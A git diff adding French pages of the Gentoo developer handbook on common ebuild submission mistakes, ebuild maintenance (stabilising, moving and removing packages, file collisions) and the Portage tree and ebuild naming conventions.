+<title>LICENSE invalide</title>
+<body>
+
+<p>
+Une autre erreur commune que les utilisateurs font au moment de soumettre des
+ebuilds est de proposer une licence invalide. Par exemple, <c>GPL</c> n'est pas
+une licence valide. Vous devez spécifier <c>GPL-1</c> ou <c>GPL-2</c>. Même
+chose pour la <c>LGPL</c>. Assurez-vous que la licence que vous utilisez dans
+le champ <c>LICENSE</c> est une licence qui existe dans
+<path>/usr/portage/licenses</path>. Pour connaître la licence, vous pouvez lire
+le fichier <c>COPYING</c> dans l'archive source, il contient souvent la
+licence.  Si la licence n'est pas spécifiée, utilisez la <c>GPL-1</c> ou
+<c>GPL-2</c>&nbsp;: on est souvent en présence de la <c>GPL-2</c>.
+</p>
+
+<p>
+Si la licence du paquet que vous soumettez est unique et n'est pas dans
+<path>/usr/portage/licenses/</path>, alors vous devez soumettre une
+nouvelle licence dans un fichier séparé.
+</p>
+
+</body>
+</subsection>
+
+<subsection>
+<title>Architectures non testées dans les KEYWORDS</title>
+<body>
+
+<p>
+Merci de n'ajouter d'architectures dans les KEYWORDS que si l'ebuild a
+effectivement été testé sur cette architecture. De même, tous les nouveaux
+ebuilds doivent être en «&nbsp;~ARCH&nbsp;». Assurez-vous que quand vous
+incrémentez une version, toutes les architectures stables sont marquées d'un
+<c>~</c>.
+</p>
+
+</body>
+</subsection>
+<subsection>
+<title>SLOT manquant</title>
+<body>
+
+<p>
+Assurez-vous que vous avez la variable SLOT déclarée dans l'ebuild. Si vous
+n'avez pas l'intention de l'utiliser, ne la supprimez pas. Mettez&nbsp;:
+</p>
+
+<pre caption="Variable SLOT par défaut">
+SLOT="0"
+</pre>
+
+</body>
+</subsection>
+<subsection>
+<title>DESCRIPTION et HOMEPAGE incorrectes</title>
+<body>
+
+<p>
+Merci de vérifier si la variable HOMEPAGE est correcte et pointe bien sur la
+bonne page si les utilisateurs veulent récupérer plus d'informations sur le
+paquet. Et assurez-vous que la variable DESCRIPTION n'est pas trop longue. Les
+bonnes descriptions décrivent la fonction principale d'un paquet en une ligne.
+</p>
+
+</body>
+</subsection>
+<subsection>
+<title>Utilisation incorrecte des espaces au lieu de tabulations</title>
+<body>
+
+<p>
+Ce n'est pas vraiment un plaisir que de reformatter des lignes d'ebuilds parce
+que la personne qui l'a soumis ne suit pas les guides pour utiliser des
+tabulations à la place d'espaces. Donc <e>s'il vous plaît</e>, utilisez des
+tabulations.
+</p>
+
+</body>
+</subsection>
+<subsection>
+<title>Espaces en fin de lignes</title>
+<body>
+
+<p>
+Souvenez-vous que vous pouvez utiliser repoman sur vos ebuilds pour qu'il puisse
+vous signaler s'il reste des espaces inutiles à la fin de vos lignes, ou dans
+les lignes vides.
+</p>
+
+</body>
+</subsection>
+<subsection>
+<title>Ajouter des S=${WORKDIR}/${P} redondants</title>
+<body>
+
+<p>
+Si <c>S=${WORKDIR}/${P}</c>, alors vous ne devez pas l'ajouter dans votre
+ebuild. Vous ne devez l'ajouter que si l'on a quelque chose d'autre que
+<c>${WORKDIR}/${P}</c>.
+</p>
+
+</body>
+</subsection>
+<subsection>
+<title>Documentation manquante</title>
+<body>
+
+<p>
+Si votre paquet a une documentation, assurez-vous que vous l'installez en
+utilisant <c>dodoc</c> ou en les mettant dans <path>/usr/share/doc/${PF}</path>.
+N'oubliez pas de vérifier s'il y a des erreurs quand vous lancez <c>dodoc</c> ou
+<c>doins</c>.
+</p>
+
+</body>
+</subsection>
+</section>
+<section>
+<title>Erreurs communes de soumission d'ebuilds</title>
+<subsection>
+<title>Introduction</title>
+<body>
+
+<p>
+Merci de soumettre vos ebuilds correctement en suivant le
+<uri link="/doc/fr/ebuild-submit.xml">Guide contribuer pour les ebuilds</uri>
+sur la <uri link="/doc/fr/index.xml">page de documentation Gentoo</uri>.
+</p>
+
+</body>
+</subsection>
+<subsection>
+<title>Archiver un ebuild</title>
+<body>
+
+<p>
+S'il vous plaît, par pitié, n'attachez pas les ebuilds en archives. De plus
+attachez les correctifs séparément afin qu'on puisse les examiner facilement.
+</p>
+
+</body>
+</subsection>
+<subsection>
+<title>Proposer des ebuilds</title>
+<body>
+
+<p>
+Ne copiez-collez pas un ebuild dans le champ de commentaire du bugzilla.
+</p>
+
+</body>
+</subsection>
+<subsection>
+<title>Aucune description sur ce qu'est le paquet</title>
+<body>
+
+<p>
+Merci de nous permettre de savoir ce qu'est le paquet et remplissez le champ
+URL avec la page Internet de l'application, si elle existe.
+</p>
+
+</body>
+</subsection>
+<subsection>
+<title>Mise à jour d'un paquet sans changer le changelog</title>
+<body>
+
+<p>
+Si vous soumettez une mise à jour de paquet, assurez-vous de bien expliquer les
+changements que vous avez fait sur l'ebuild. Par exemple, si un paquet introduit
+une nouvelle fonctionnalité ou option et que vous utilisez un paramètre USE,
+indiquez-le dans votre bogue. Ne nous obligez pas à partir à la chasse aux
+modifications non expliquées.
+</p>
+
+<p>
+C'est toujours mieux de soumettre un diff de mise à jour de paquet plutôt que de
+soumettre l'ebuild complet. La meilleure méthode pour le générer est
+celle-ci&nbsp;:
+</p>
+
+<pre caption="Créer un diff">
+$ <i>diff -u un-paquet-0.1.0.ebuild un-paquet-0.2.0.ebuild &gt; ~/un-paquet-0.2.0.diff</i>
+</pre>
+
+</body>
+</subsection>
+<subsection>
+<title>Soumettre des ebuilds non changés pour incrémenter la version d'un ebuild.</title>
+<body>
+
+<p>
+Si vous soumettez une nouvelle version d'un paquet dans Portage, assurez-vous
+que l'ebuild existant fonctionne et que les changements sont inclus dans le
+nouvel ebuild (comme par exemple des nouveaux guides et manuels). S'il n'y a pas
+de changements nécessaires à effectuer sur l'ebuild par rapport à l'ancienne
+version, n'attachez pas l'ebuild. Signalez simplement dans le rapport de bogue
+que vous avez copié l'ebuild et vérifié que le paquet fonctionne et s'installe
+correctement.
+</p>
+
+</body>
+</subsection>
+</section>
+<section>
+<title>Commentaires et suggestions</title>
+<subsection>
+<body>
+
+<p>
+Merci d'envoyer vos commentaires, corrections et suggestions à <mail
+link="liquidx@gentoo.org">Alastair Tse</mail> (en anglais).
+</p>
+
+</body>
+</subsection>
+</section>
+</sections>
diff --git a/xml/htdocs/proj/fr/devrel/handbook/hb-guide-ebuild-maintaining.xml b/xml/htdocs/proj/fr/devrel/handbook/hb-guide-ebuild-maintaining.xml
new file mode 100644
index 00000000..ae56b918
--- /dev/null
+++ b/xml/htdocs/proj/fr/devrel/handbook/hb-guide-ebuild-maintaining.xml
@@ -0,0 +1,305 @@
+<?xml version='1.0' encoding='UTF-8'?>
+<!DOCTYPE sections SYSTEM "/dtd/book.dtd">
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/1.0 -->
+
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/fr/devrel/handbook/hb-guide-ebuild-maintaining.xml,v 1.5 2006/01/22 17:56:34 cam Exp $ -->
+
+<sections>
+<section>
+<title>Introduction</title>
+<body>
+
+<p>
+Ce guide a pour objectif de présenter les procédures courantes de maintenance
+des ebuilds ainsi que les procédures de maintenance plus rares avec lesquelles
+les développeurs ne sont pas forcément très familiers.
+</p>
+
+</body>
+</section>
+<section>
+<title>Ajouter un ebuild</title>
+<body>
+
+<p>
+Quand vous créez un nouvel ebuild, vous ne devez inclure que les
+<c>KEYWORDS</c> pour les architectures qui ont été effectivement testées pour
+cet ebuild, ce qui confirmera qu'il fonctionne effectivement bien comme nous
+l'espérons et que les paramètres <c>USE</c> sont bien respectés dans le paquet
+résultant de l'installation à partir de l'ebuild. Dans la mesure du possible,
+vous devez également préciser les bibliothèques ou applications qui ont été
+effectivement utilisées lors des tests dans la mesure où vous serez responsable
+des problèmes inhérents à votre paquet pour les architectures présentées. Un
+minimum de vérifications doit être effectué comme s'assurer que l'application
+se lance bien et sans erreurs.
+</p>
+
+<p>
+Si vous ajoutez un ebuild proposé par un utilisateur, faites comme si celui-ci
+n'avait pas fait de vérification sur les différentes architectures&nbsp;: il
+arrive souvent que les <c>KEYWORDS</c> aient été récupérés sur d'autres
+paquets ou générés à partir de la documentation proposée avec les sources des
+paquets.  Cela ne signifie en rien que le paquet fonctionnera effectivement sur
+ces mêmes architectures.
+</p>
+
+</body>
+</section>
+<section>
+<title>Stabiliser des ebuilds</title>
+<body>
+
+<p>
+Les ebuilds ne peuvent être stabilisés, c'est-à-dire placés de <c>~arch</c> à
+<c>arch</c> que si le mainteneur de l'ebuild ou un mainteneur de l'architecture
+concernée considère l'ebuild comme effectivement stable. Le mainteneur du
+paquet doit toujours être contacté juste pour le cas où il y ait une raison
+pour que l'ebuild ne soit pas stabilisé pour cette architecture. Si vous faites
+partie d'une équipe qui gère une architecture, alors vous pouvez marquer un
+ebuild pour celle-ci. Si l'architecture qui vous intéresse n'est pas indiquée,
+veuillez consulter le responsable.
+</p>
+
+<p>
+Vous ne devez <e>jamais</e> stabiliser des paquets sur des architectures pour
+lesquelles vous ne pouvez faire aucun test. À la place, vous devez remplir un
+formulaire de bogue destiné à l'équipe de l'architecture correspondante, comme
+par exemple <mail link="sparc@gentoo.org">sparc@gentoo.org</mail> pour que
+l'équipe s'occupant de l'architecture SPARC stabilise si possible l'ebuild.
+Sinon, vous pouvez également chercher des développeurs Gentoo sur IRC qui
+pourront vous aider dans votre demande.
+</p>
+
+<p>
+Il vaut mieux éviter d'utiliser <mail
+link="arch-maintainers@gentoo.org">arch-maintainers@gentoo.org</mail> et
+préférer ajouter les équipes d'architecture dans le champ CC d'un rapport de
+bogue à la place. De cette manière les équipes peuvent s'enlever de la liste
+une fois qu'ils ont effectué le travail, ce qui permet de savoir de manière
+précise quelles sont les équipes qui doivent toujours stabiliser le paquet.
+</p>
+
+</body>
+</section>
+<section>
+<title>Règles pour stabiliser un ebuild</title>
+<body>
+
+<p>
+SPARC : vous devez avoir l'autorisation du responsable (actuellement Weeve).
+Vous devriez être inscrit dans l'alias sparc pour pouvoir suivre le processus
+d'assurance-qualité, mais d'autres dispositions peuvent être prises si vous ne
+travaillez que sur un petit nombre d'ebuilds.
+</p>
+
+<p>
+ALPHA : les responsables de paquets peuvent marquer leurs paquets stables pour
+Alpha, mais il leur est demandé d'en informer l'équipe Alpha pour effectuer des
+tests supplémentaires et ainsi permettre de corriger les éventuelles erreurs.
+</p>
+
+<p>
+MIPS : vous devez avoir l'autorisation d'un développeur MIPS expérimenté. À
+cause de la grande variété de matériel, vous devez être inscrit dans l'alias
+mips et avoir accès à des machines MIPS.
+</p>
+
+</body>
+</section>
+<section>
+<title>Mettre à jour des ebuilds</title>
+<body>
+
+<p>
+Les nouveaux ebuilds sont rarement proposés directement avec un mot-clef
+<c>arch</c> et, même s'ils le sont, les paquets <e>doivent</e> être testés sur
+toutes les architectures listées dans la variable <c>KEYWORDS</c> d'un nouvel
+ebuild.
+</p>
+
+<p>
+Les exceptions à la règle qui consiste à ne jamais proposer directement un
+ebuild en <c>arch</c> sont les correctifs majeurs ou les mises à jour de
+sécurité. Si la version précédente d'un ebuild contient des mots-clefs
+<c>KEYWORDS</c> pour lesquels vous ne pouvez pas faire de tests, vous devez
+les replacer en instable en changeant tous les <c>arch</c> que vous ne pouvez
+pas tester en <c>~arch</c>. Si vous pensez que votre paquet ne fonctionnera pas
+du tout même en le mettant comme <c>~arch</c>, alors il est préférable
+d'enlever le mot-clef et de faire une demande de tests à l'équipe
+concernée&nbsp;: si vous êtes amenés à faire ce genre de chose, vous devez
+faire un rapport de bogue à destination de l'équipe en question.
+</p>
+
+<p>
+Si une nouvelle version introduit de nouvelles dépendances qui ne sont pas
+disponibles sur certaines architectures, vous devez rapporter un bogue ou
+demander de l'aide sur IRC avant de mettre à jour le paquet. Si vous avez
+réellement besoin d'ajouter cet ebuild et que c'est urgent, par exemple, pour
+une correction de sécurité, alors vous devez enlever tous les <c>KEYWORDS</c>
+qui posent problème et mettre en CC les architectures en question dans le
+bogue rapporté. Vous devez pour cela ouvrir un nouveau bogue pour
+l'architecture en question, sauf si celui-ci existe déjà.
+</p>
+
+<p>
+S'il n'y a pas de nouvelles dépendances, n'enlevez pas de mots-clefs. Si la
+soumission échoue avec repoman, essayez de faire un <c>cvs update</c> complet
+et si le problème subsiste, alors faites votre soumission avec <c>repoman
+-I</c> et rapportez un nouveau bogue pour l'architecture qui pose problème en
+indiquant le problème dans votre message de soumission de CVS.
+</p>
+
+<warn>
+Lorsque vous faites votre soumission CVS, assurez-vous que vous référencez bien
+tous les bogues rencontrés ainsi que le message CVS. Ne pas le faire est
+considéré comme un geste de très mauvais goût et peut donner lieu à une
+sanction disciplinaire.
+</warn>
+
+</body>
+</section>
+<section>
+<title>Déplacer des ebuilds</title>
+<body>
+
+<p>
+Déplacer des ebuilds se fait en deux temps&nbsp;:
+</p>
+
+<p>
+Tout d'abord, vous devez déplacer l'ebuild dans le CVS. Pour faire cela, vous
+devrez copier l'ebuild à sa nouvelle position et soumettre celui-ci comme si
+vous soumettiez un <uri link="?part=1&amp;chap=3">nouvel ebuild</uri>.
+</p>
+
+<p>
+Ensuite, vous devez changer tous les ebuilds qui dépendent (via la variable
+<c>DEPEND</c>) de l'ancien ebuild pour qu'ils pointent vers le nouveau. Alors
+seulement, vous pourrez enlever l'ensemble des fichiers relatifs à l'ancien
+ebuild avec <c>cvs remove</c> dans l'ancien répertoire.
+</p>
+
+<note>
+CVS ne peut pas détruire de répertoire&nbsp;: il ne recréera tout simplement
+pas ceux-ci si ils sont vides, dans l'hypothèse ou vous utilisez l'option
+<c>-P</c> de cvs.
+</note>
+
+<p>
+Une autre méthode consiste à utiliser <c>epkgmove</c> qui fera le travail pour
+vous&nbsp;:
+</p>
+
+<pre caption="Déplacer un paquet avec epkgmove">
+# <i>epkgmove net-ancien/paquet net-nouveau/paquet</i>
+</pre>
+
+<p>
+Une fois que le déplacement a été fait, ajoutez une entrée au dernier fichier
+dans <path>profiles/updates/</path> dans l'arbre de Portage, avec la syntaxe
+suivante&nbsp;:
+</p>
+
+<pre caption="Ajouter une entrée dans les mises à jour">
+move net-misc/fwbuilder net-firewall/fwbuilder
+</pre>
+
+<p>
+Cet exemple devrait déplacer de manière transparente
+<path>net-misc/fwbuilder</path> vers <path>net-firewall</path> si les
+utilisateurs l'ont installé. De cette manière, les utilisateurs pourront
+désormais récupérer les mises à jour sur <path>net-firewall</path> quand elles
+sont disponibles.
+</p>
+
+</body>
+</section>
+<section>
+<title>Enlever des ebuilds</title>
+<body>
+
+<p>
+Quand vous supprimez un ebuild, assurez-vous qu'aucune dépendance dans Portage ne
+se casse à cause de la suppression. De plus, votre message de soumission au CVS
+devra expliquer clairement pourquoi l'ebuild a été supprimé du CVS.
+</p>
+
+<p>
+Si vous avez besoin d'enlever des ebuilds, assurez-vous de ne pas enlever de
+manière accidentelle des ebuilds nouveaux ou stables uniquement pour certaines
+architectures. Si vous voulez faire une nouvelle version marquée comme stable,
+merci de faire un rapport de bogue ou d'en discuter sur IRC.
+</p>
+
+<p>
+Vous devez également éviter de diminuer les versions stables des paquets quand
+vous supprimez des ebuilds. À la place, le mieux est de prendre la plus récente
+version marquée comme <c>~arch</c> en premier lieu, puis supprimez les versions
+redondantes de l'ebuild.
+</p>
+
+</body>
+</section>
+
+<section>
+<title>Collision de fichiers</title>
+<body>
+
+<p>
+Si vous trouvez des paquets qui essaient d'installer des fichiers déjà installés
+par un autre paquet (par exemple en utilisant
+<c>FEATURES=collision-protect</c>), vous devez résoudre ce problème avant de
+soumettre l'ebuild. Si l'ebuild est déjà dans l'arbre Portage, remplissez un
+rapport de bogue sur ce paquet (voir plus bas pour une liste d'exceptions).  La
+raison pour laquelle les collisions de fichiers sont critiques est que si
+«&nbsp;foo&nbsp;» installe le fichier <path>/usr/bin/exemple</path> et
+«&nbsp;bar&nbsp;» essaie d'écrire un autre fichier par dessus, puis plus tard
+«&nbsp;bar&nbsp;» est désinstallé, Portage va supprimer
+<path>/usr/bin/exemple</path>, avec de grandes chances pour que cela empêche
+«&nbsp;foo&nbsp;» de fonctionner.
+</p>
+
+<p>
+La solution la plus évidente est d'ajouter une dépendance bloquante sur les
+deux paquets qui veulent installer le même fichier, afin qu'ils ne puissent
+pas être installés tous les deux en même temps. Mais, à moins qu'il n'y ait
+d'autres raisons pour que ces paquets se bloquent entre eux, vous devriez
+éviter ce genre de manipulation et essayer plutôt de modifier les paquets
+en utilisant l'une des méthodes suivantes (liste non exhaustive)&nbsp;:
+</p>
+
+<ul>
+  <li>
+    Modifiez le (R)DEPEND de «&nbsp;foo&nbsp;» pour que ce dernier dépende de
+    «&nbsp;bar&nbsp;».
+  </li>
+  <li>
+    Enlevez les fichiers qui engendrent la collision de «&nbsp;foo&nbsp;» dans
+    <c>src_install</c> ou <c>pkg_preinst</c>.
+  </li>
+  <li>
+    Déplacez les fichiers en conflit dans un nouveau sous-paquet et faites en
+    sorte que «&nbsp;foo&nbsp;» et «&nbsp;bar&nbsp;» dépendent ((R)DEPEND) tous
+    deux de ce paquet.
+  </li>
+  <li>
+    Changez le répertoire dans lequel «&nbsp;foo&nbsp;» ou «&nbsp;bar&nbsp;»
+    installent les fichiers en conflit.
+  </li>
+</ul>
+
+<p>
+Dans certains cas, les collisions de fichiers ne peuvent pas être résolues ou ne
+sont pas critiques. Les exceptions connues actuellement sont les pages de
+manuel des modules Perl (qui écrasent celles de Perl lui-même), ainsi que les
+fichiers protégés par <c>CONFIG_PROTECT</c> (les collisions sur ces fichiers
+devraient tout de même être corrigées, mais elles sont moins graves puisque
+Portage n'écrasera aucun de ces fichiers).
+</p>
+
+</body>
+</section>
+
+</sections>
diff --git a/xml/htdocs/proj/fr/devrel/handbook/hb-guide-ebuild.xml b/xml/htdocs/proj/fr/devrel/handbook/hb-guide-ebuild.xml
new file mode 100644
index 00000000..4af694c4
--- /dev/null
+++ b/xml/htdocs/proj/fr/devrel/handbook/hb-guide-ebuild.xml
@@ -0,0 +1,2497 @@
+<?xml version='1.0' encoding='UTF-8'?>
+<!DOCTYPE sections SYSTEM "/dtd/book.dtd">
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/1.0 -->
+
+<sections>
+
+<version>1</version>
+<date>2006-02-02</date>
+
+<section>
+<title>L'arbre de Portage</title>
+
+<subsection>
+<title>Introduction</title>
+<body>
+
+<p>
+L'arbre de Portage se trouve en général dans <path>/usr/portage</path> et est
+organisé selon une structure hiérarchique constituée de répertoires de
+catégories, suivis des répertoires spécifiques aux paquets. Voici un
+exemple&nbsp;: vous pourrez trouver le fichier
+<path>util-linux-2.11y.ebuild</path> dans le répertoire
+<path>/usr/portage/sys-apps/util-linux</path>. Il peut y avoir plusieurs autres
+versions d'ebuilds pour <c>util-linux</c> à côté de
+<path>util-linux-2.11y.ebuild</path>. C'est dû au fait que <e>tous les ebuilds
+pour un paquet particulier</e> (quelle que soit la version) partagent le même
+répertoire <path>ma_categorie/mon_paquet</path> dans
+<path>/usr/portage</path>.
+</p>
+
+</body>
+</subsection>
+
+<subsection>
+<title>Récupérer une version de l'arbre de Portage avec CVS</title>
+<body>
+
+<p>
+Si vous n'êtes pas familier avec le fonctionnement de CVS, vous pouvez lire le
+<uri link="/doc/fr/cvs-tutorial.xml">tutoriel CVS</uri> pour plus
+d'informations.
+</p>
+
+<p>
+L'arbre de Portage se trouve dans le module <c>gentoo-x86</c> de l'arbre de
+Gentoo Linux. Pour récupérer ce module (environ 350&nbsp;Mo), vous devez tout
+d'abord préparer CVS, comme spécifié dans le guide cité plus haut, puis
+récupérer le module <c>gentoo-x86</c>.
+</p>
+</body>
+</subsection>
+
+<subsection>
+<title>Ce qu'on (ne) peut (pas) mettre dans l'arbre de Portage</title>
+<body>
+
+<p>
+Avant d'écrire un ebuild, vérifiez sur <uri
+link="http://bugs.gentoo.org/">bugs.gentoo.org</uri> s'il existe déjà ebuild
+pour ce que vous voulez faire, mais qui n'aurait pas encore été mis dans
+Portage. Allez sur <uri link="http://bugs.gentoo.org/">bugs.gentoo.org</uri>,
+choisissez <e>query</e> et sélectionnez <e> Advanced Search</e>. Pour le
+produit, prenez <e>Gentoo Linux</e> et comme composant, <e>ebuilds</e>. Dans le
+champ réservé à la recherche écrivez le nom de l'ebuild, puis comme statut,
+selectionnez <e>NEW</e>, <e>ASSIGNED</e>, <e>REOPENED</e> et <e>RESOLVED</e>
+(<e>RESOLVED</e> est important ici), puis envoyez la requête. Pour les
+fainéants, cliquez directement <uri
+link="http://bugs.gentoo.org/query.cgi?product=Gentoo%20Linux&amp;component=Ebuilds&amp;bug_status=UNCONFIRMED&amp;bug_status=NEW&amp;bug_status=ASSIGNED&amp;bug_status=REOPENED&amp;bug_status=RESOLVED">ici</uri>.
+</p>
+
+<p>
+En règle générale, l'arbre de Portage ne doit être utilisé que pour stocker des
+fichiers <path>.ebuild</path>, ainsi que divers fichiers qui leur sont liés,
+comme par exemple les correctifs et des petits fichiers de configuration. Ce
+genre de fichiers doit être placé dans le répertoire
+<path>/usr/portage/macat/monpaquet/files</path> pour garder une organisation
+des répertoires <path>/macat/monpaquet</path> la plus propre et ordonnée
+possible.  Les exceptions à cette règle sont réservées aux correctifs de taille
+importante qui doivent être placés sur les miroirs Gentoo pour que les
+utilisateurs ne perdent pas de bande passante et d'espace disque inutiles en
+les télechargeant.  De plus, vous ne devriez pas ajouter des fichiers binaires
+(non-ASCII) au CVS dans l'arbre de Portage. Cependant, si vous devez le faire
+(par exemple, si vous devez ajouter une petite image de type PNG pour une
+raison quelconque), assurez-vous de l'ajouter au CVS en utilisant l'option
+<c>-kb</c> comme suit&nbsp;:
+</p>
+
+<pre caption="Ajouter un binaire au CVS">
+# <i>cvs add -kb monimage.png</i>
+</pre>
+
+<p>
+L'option <c>-kb</c> indique à CVS que <path>monimage.png</path> est un fichier
+binaire et qu'il doit être traité de manière particulière. Par exemple, lui
+adjoindre les différences entre deux versions de ce fichier ne sera évidemment
+pas permis. De même, tant qu'on est sur le thème des ajouts de modifications,
+tous les correctifs que vous ajoutez à Portage devront <e>ne pas</e> être
+compressés. Cela permet à CVS de récupérer les modifications et d'informer
+correctement les développeurs de la présence de conflits.
+</p>
+
+<p>
+Souvenez-vous que les paquets que vous soumettez doivent être <e>prêts</e> à
+l'utilisation de manière <e>autonome</e> s'ils sont soumis comme étant stables.
+Assurez-vous que vous disposez d'un bon environnement de configuration qui
+satisfasse le plus grand nombre de systèmes et d'utilisateurs qui utiliseront
+votre paquet. Si votre paquet est cassé et que vous n'êtes pas sûr de la
+solutionpour le faire fonctionner, regardez ce qu'ont fait d'autres
+distributions qui ont effectué leur propres versions de ce paquet. Vous pouvez
+regarder chez <uri
+link="http://cvs.mandriva.com/cgi-bin/cvsweb.cgi/SPECS/">Mandrake</uri> ou
+<uri link="http://www.debian.org/distrib/packages">Debian</uri> ou
+<uri link="http://cvs.fedora.redhat.com/">Fedora</uri> pour avoir de bons
+exemples.
+</p>
+
+<p>
+Quand ils effectuent une soumission au CVS, tous les développeurs doivent
+utiliser <c>repoman commit</c> en lieu et place de <c>cvs commit</c> pour
+soumettre leurs ebuilds. Avant de faire une soumission, vous devez exécuter la
+commande <c>repoman full</c> pour vous assurer que vous n'avez rien oublié.
+</p>
+</body>
+</subsection>
+
+<subsection>
+<title>Politique de soumission au CVS</title>
+<body>
+<ul>
+  <li>
+    Toujours exécuter <c>repoman scan</c> avant de soumettre son travail&nbsp;;
+  </li>
+  <li>Exécutez <c>repoman full</c> avant de faire une soumission&nbsp;;</li>
+  <li>
+    Toujours vérifier que <path>package.mask</path> est en règle en effectuant
+    un <c>emerge --pretend monpaquet</c> avant de le soumettre et vérifiez qu'il
+    n'y a aucun conflit&nbsp;;
+  </li>
+  <li>
+    Toujours mettre à jour le <path>ChangeLog</path> avant de faire une
+    soumission&nbsp;;
+  </li>
+  <li>
+    Toujours mettre à jour en premier <path>package.mask</path> avant de mettre
+    à jour le paquet concerné. Il peut y avoir des conflits lors de la
+    soumission de <path>package.mask</path>&nbsp;;
+  </li>
+  <li>
+    Toujours faire des soumissions atomiques. Si vous soumettez un paquet avec
+    une nouvelle licence ou un paquet masqué, alors il vous faudra tout d'abord
+    soumettre la mise à jour de <path>package.mask</path>, puis soumettre
+    l'ebuild, le <path>ChangeLog</path> et le <uri
+    link="?part=2&amp;chap=4">metadata.xml</uri> d'une traite. Sauf si vous
+    souhaitez corrompre les installations des utilisateurs...</li>
+</ul>
+</body>
+</subsection>
+
+<subsection>
+<title>Le répertoire de destination pour les fichiers</title>
+<body>
+
+<p>
+Comme remarqué précédemment, dans chaque sous-répertoire de paquet, il y a un
+répertoire <path>files/</path>. Tous les correctifs, fichiers de configuration
+et tous les fichiers annexes à votre paquet doivent être placés dans ce
+répertoire. Vous aurez probablement à vous demander comment nommer un correctif
+que vous avez vous-même créé, simplement pour que votre paquet puisse compiler
+avec un nom de version spécifique. Il vous faudra alors le nommer par exemple
+<path>monpaquet-1.0-gentoo.diff</path> ou plus simplement
+<path>1.0-gentoo.diff</path>. Remarquez la présence de l'extension
+<path>gentoo</path> qui indique aux utilisateurs que ce correctif a été créé
+par les développeurs pour Gentoo Linux et n'a donc pas été récupéré sur une
+liste de diffusion ou ailleurs. Encore une fois, ne compressez pas les fichiers
+diffs, car CVS n'est pas très bon dans la gestion des fichiers binaires.
+</p>
+
+<p>
+Préfixez ou suffixez (comme par exemple <path>monpaquet-1.0</path>) tous les
+fichiers que vous mettez dans le répertoire <path>files/</path> afin que les
+fichiers utilisés pour chaque version d'un ebuild soit identifiables entre eux
+et que les changements entre les différentes révisions soient visibles. C'est
+en général une très bonne idée. Vous pouvez également utiliser un autre suffixe
+si vous voulez donner plus de sens au nom du correctif.
+</p>
+
+<p>
+Si plusieurs fichiers doivent aller dans le répertoire <path>files/</path>,
+vous pouvez créer des sous-répertoires comme par exemple
+<path>files/1.0/</path> et mettre les fichiers en question dans le bon
+sous-répertoire. Si vous utilisez cette méthode, vous n'avez pas besoin
+d'indiquer plus d'informations dans le nom des fichiers, ce qui est d'ailleurs
+l'usage habituel, car c'est plus commode.
+</p>
+
+</body>
+</subsection>
+</section>
+
+<section>
+<title>Scripts ebuild</title>
+<subsection>
+<title>Introduction</title>
+<body>
+
+<p>
+Les scripts ebuild sont la base de l'ensemble du système de Portage. Ils
+contiennent toutes les informations nécessaires pour récupérer, désarchiver,
+compiler et installer un ensemble de sources. Ils contiennent aussi les
+informations nécessaires pour réaliser n'importe quelle tâche de pré/post
+installation/suppression ou de configuration. Si la plus grande partie de
+Portage est écrite en Python, les scripts ebuild sont, eux, écrits en bash,
+dans la mesure où bash nous permet d'appeler des commandes comme si elles
+étaient appelées depuis une invite de commande. Un des principes importants
+dans la conception est d'avoir des commandes dans le script qui sont analogues
+à celles que l'on taperait dans une console si l'on installait le paquet
+manuellement. Pour cela, utiliser une syntaxe bash est une vraiment bonne
+chose.
+</p>
+
+<p>
+Les scripts ebuild sont interprétés par les commandes <c>ebuild</c> et
+<c>emerge</c>. Il faut imaginer la commande <c>ebuild</c> comme un outil de bas
+niveau. Il peut construire et installer un simple ebuild, mais pas plus. Il
+vérifiera si les dépendances sont satisfaites, mais il n'essayera pas de les
+résoudre automatiquement lui-même. D'un autre côté <c>emerge</c> est un outil
+de haut niveau par rapport à <c>ebuild</c>. Il a la capacité d'installer
+automatiquement les dépendances nécessaires et d'effectuer des vérifications
+d'installation (avec <e>pretend</e>) pour que l'utilisateur puisse voir quels
+sont les ebuilds qui seront installés et s'arrêter là. En général,
+<c>emerge</c> vole la vedette à <c>ebuild</c> dans tous les domaines, sauf un.
+Avec <c>ebuild</c>, vous pouvez effectuer les étapes les unes après les autres
+lors de l'installation d'un paquet (récupération des sources, désarchivage,
+compilation, installation, et fusion dans Portage). Pour les développeurs,
+c'est un outil de correction d'erreurs précieux, car il vous permettra d'isoler
+les problèmes d'un ebuild par parties spécifiques.
+</p>
+</body>
+</subsection>
+
+<subsection>
+<title>Nommer les fichiers ebuild</title>
+<body>
+
+<p>
+Le nom des fichiers ebuilds comporte quatre sous-sections logiques&nbsp;:
+</p>
+
+<p>
+<c>pkg-ver{_suf{#}}{-r#}.ebuild</c>
+</p>
+
+<note>
+Les crochets (<c>{}</c>) délimitent des champs optionnels et n'apparaissent pas
+dans le nom final pour le paquet. <c>#</c> représente un entier positif
+différent de zéro.
+</note>
+
+<p>
+La première sous-section, <c>pkg</c>, est le nom du paquet qui doit toujours
+contenir des caractères choisis parmi les minuscules, les chiffres de 0 à 9, le
+tiret <c>-</c>, le soulignement <c>_</c> ou le plus <c>+</c>. Par exemple, on a
+<c>util-linux</c>, <c>sysklogd</c> et <c>gtk+</c>. Nous avons quelques paquets
+dans Portage qui ne suivent pas cette règle, mais <e>les vôtres</e> devront la
+respecter.
+</p>
+
+<p>
+La seconde sous-section <c>ver</c> est la version du paquet qui doit
+normalement être la même que la version de l'archive source principale. La
+version est en général constituée de deux ou trois (ou plus) nombres séparés
+par un point, comme <c>1.2</c> ou <c>4.5.2</c> et peuvent comporter une lettre
+seule suivant immédiatement le dernier chiffre. Par exemple, <c>1.4b</c> ou
+<c>2.6h</c>. La version du paquet est liée au nom du paquet par un tiret. Par
+exemple, vous aurez <c>foo-1.0</c> ou <c>bar-2.4.6</c>.
+</p>
+
+<impo>
+Si vous pensez utiliser une lettre à la fin de la version du paquet, n'oubliez
+pas que ce caractère <e>ne doit pas</e> être utilisé pour signifier le statut
+<e>alpha</e> ou <e>beta</e> d'un paquet, dans la mesure ou les <e>alpha</e> et
+<e>beta</e> sont des <e>pré-sorties</e> et les révisions ultérieures sont des
+<e>nouvelles versions</e>. C'est une distinction importante,  car Portage
+utilise le numéro de version des ebuilds pour déterminer si il est plus récent
+ou plus vieux que les autres paquets d'une même catégorie et d'un même nom.
